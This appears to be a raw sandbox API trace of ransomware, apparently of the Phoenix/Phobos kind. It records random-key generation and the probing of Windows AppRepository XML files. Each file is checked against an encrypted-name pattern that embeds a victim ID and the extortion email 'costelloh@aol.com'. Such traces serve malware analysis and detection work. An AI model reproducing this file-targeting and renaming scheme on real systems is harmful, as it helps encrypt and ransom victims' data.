	[0250.868] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.868] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.869] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1197) returned 1
	[0250.869] CloseHandle (hObject=0x2d4) returned 1
	[0250.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.869] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.869] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.869] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.869] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1181) returned 1
	[0250.869] CloseHandle (hObject=0x2d4) returned 1
	[0250.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.870] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.870] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.870] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.870] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1181) returned 1
	[0250.870] CloseHandle (hObject=0x2d4) returned 1
	[0250.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.870] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.871] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.871] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.871] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1181) returned 1
	[0250.871] CloseHandle (hObject=0x2d4) returned 1
	[0250.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.872] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.872] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1181) returned 1
	[0250.872] CloseHandle (hObject=0x2d4) returned 1
	[0250.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.873] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.873] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1156) returned 1
	[0250.873] CloseHandle (hObject=0x2d4) returned 1
	[0250.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.873] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.874] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1156) returned 1
	[0250.874] CloseHandle (hObject=0x2d4) returned 1
	[0250.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.874] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.874] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.874] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.875] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1191) returned 1
	[0250.875] CloseHandle (hObject=0x2d4) returned 1
	[0250.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.875] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.875] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.875] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.875] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1191) returned 1
	[0250.875] CloseHandle (hObject=0x2d4) returned 1
	[0250.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.876] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.876] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.876] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.876] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1175) returned 1
	[0250.876] CloseHandle (hObject=0x2d4) returned 1
	[0250.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.876] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.877] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.877] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.877] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1175) returned 1
	[0250.877] CloseHandle (hObject=0x2d4) returned 1
	[0250.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.877] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.877] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.877] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.878] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1156) returned 1
	[0250.878] CloseHandle (hObject=0x2d4) returned 1
	[0250.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.878] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.878] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1156) returned 1
	[0250.878] CloseHandle (hObject=0x2d4) returned 1
	[0250.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
